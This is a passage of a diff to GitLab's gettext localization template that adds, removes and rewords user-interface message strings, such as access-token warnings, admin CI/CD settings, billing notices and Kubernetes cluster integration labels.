+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
